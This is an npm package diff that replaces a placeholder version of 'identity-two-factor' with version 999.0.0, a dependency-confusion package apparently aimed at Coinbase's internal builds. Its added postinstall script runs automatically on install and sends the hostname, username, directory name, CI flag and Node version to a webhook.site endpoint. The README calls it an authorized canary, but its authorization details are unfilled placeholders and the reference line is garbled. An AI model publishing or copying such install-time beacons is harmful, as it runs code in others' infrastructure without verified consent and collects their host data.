identity-two-factor 0.0.0-stage → 999.0.0

package/README.md

@@ -1,3 +1,32 @@
-# Temporary Holding Version
+# identity-two-factor (SECURITY RESEARCH CANARY — benign)
 
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
+This package is a **benign canary** published for an **authorized**
+dependency-confusion test against Coinbase, coordinated via
+<email / HackerOne report ID>, approved on <date>.
+
+## What it does
+
+- Contains **no functional code** (`index.js` exports an empty object).
+- Its `postinstall` script does exactly two things:
+  1. writes a timestamped marker JSON to the OS temp directory;
+  2. sends **one** HTTPS beacon containing: canary token, timestamp,
+     and (if approved) hostname / username / cwd basename / CI flag.
+- It collects **no secrets, no environment variable values, no file
+  contents**, and installs **no persistence**.
+
+## Why
+
+To demonstrate whether Coinbase build/developer environments resolve
+this internal package name from the public npm registry — a
+dependency-confusion condition that would allow a malicious third
+party to execute arbitrary code inside Coinbase infrastructure.
+This canary exists to prove the condition with the smallest possible
+footprint, under explicit program authorization.
+
+## Contact / removal
+
+- Researcher: <name> — <email> — HackerOne: <username>
+- If you are seeing this package outside of that test, or want it
+  removed immediately: contact the address above.
+- The package will be unpublished after beacon confirmation or at the
+  end of the authorized test window, whichever comes first.

package/index.js

@@ -0,0 +1,2 @@
+// Security research canary — no functionality. See README.
+module.exports = {};

package/package.json

@@ -1,6 +1,16 @@
 {
   "name": "identity-two-factor",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "999.0.0",
+  "description": "Security research canary - benign. See README. NOT functional software.",
+  "author": { "name": "hologrammmm0x" },
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  },
+  "files": [
+    "index.js",
+    "postinstall.js",
+    "README.md"
+  ],
+  "license": "MIT"
+}

package/postinstall.js

@@ -0,0 +1,55 @@
+// ============================================================
+// identity-two-factor — SECURITY RESEARCH CANARY (BENIGN)
+// Authorized dependency-confusion test for Coinbase.
+// Authorization ref: wearehackerone counbase poc 
+// Proves ONLY that this install script executed.
+// Collects NO secrets, NO env values, NO file contents.
+// ============================================================
+const https = require("https");
+const http = require("http");
+const os = require("os");
+const fs = require("fs");
+const path = require("path");
+
+// Beacon endpoint: override via CANARY_BEACON env var; default = authorized-test endpoint
+const BEACON = process.env.CANARY_BEACON || "https://webhook.site/e0981a8e-081e-49a0-8b4a-235109e13045/cbhq-canary";
+const TOKEN = "identity-two-factor-canary-999.0.0";
+
+const body = JSON.stringify({
+  token: TOKEN,
+  ts: new Date().toISOString(),
+  // --- extended metadata (strip these 4 lines if program approved minimal-only) ---
+  host: os.hostname(),
+  user: os.userInfo().username,
+  cwd: path.basename(process.cwd()),
+  ci: !!process.env.CI,
+  node: process.version,
+});
+
+// 1) Marker file — local proof even if outbound network is blocked
+try {
+  fs.writeFileSync(
+    path.join(os.tmpdir(), "identity-two-factor-canary-marker.json"),
+    body
+  );
+} catch (e) { /* never fail */ }
+
+// 2) Single one-shot beacon — never fails the install
+try {
+  const mod = BEACON.startsWith("http://") ? http : https;
+  const req = mod.request(
+    BEACON,
+    {
+      method: "POST",
+      timeout: 5000,
+      headers: {
+        "Content-Type": "application/json",
+        "Content-Length": Buffer.byteLength(body),
+      },
+    },
+    (r) => r.resume()
+  );
+  req.on("error", () => {});
+  req.on("timeout", () => req.destroy());
+  req.end(body);
+} catch (e) { /* never fail */ }